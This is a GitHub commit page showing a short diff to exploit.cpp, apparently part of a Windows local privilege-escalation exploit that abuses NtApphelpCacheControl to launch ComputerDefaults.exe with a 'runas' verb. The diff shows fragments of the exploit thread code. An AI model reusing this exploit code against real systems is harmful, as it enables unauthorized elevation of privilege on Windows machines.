Skip to content

Commit f998bfc

Browse files
committed
Update exploit.cpp
1 parent 14c54cb commit f998bfc

File tree

1 file changed

+2
-7
lines changed
  • external/source/exploits/ntapphelpcachecontrol

1 file changed

+2
-7
lines changed

external/source/exploits/ntapphelpcachecontrol/exploit.cpp

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -177,7 +177,8 @@ DWORD CALLBACK ExploitThread(LPVOID hModule)
177177

178178
ApphelpCacheControlData data = { 0 };
179179

180-
std::wstring exe = L"C:\\Windows\\System32\\ComputerDefaults.exe";
180+
std::wstring exe = GetEnvVar(L"SystemRoot");
181+
exe += L"\\System32\\ComputerDefaults.exe";
181182

182183
std::wstring full_path = L"\\??\\";
183184
full_path += exe.c_str();
@@ -225,14 +226,8 @@ DWORD CALLBACK ExploitThread(LPVOID hModule)
225226
{
226227
LPCWSTR verb = L"runas";
227228

228-
//if ((argc > 3) && (wcscmp(argv[3], L"-n") == 0))
229-
//{
230-
// verb = L"open";
231-
//}
232-
233229
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
234230
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
235-
236231
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
237232
}
238233
else

0 commit comments

Comments
 (0)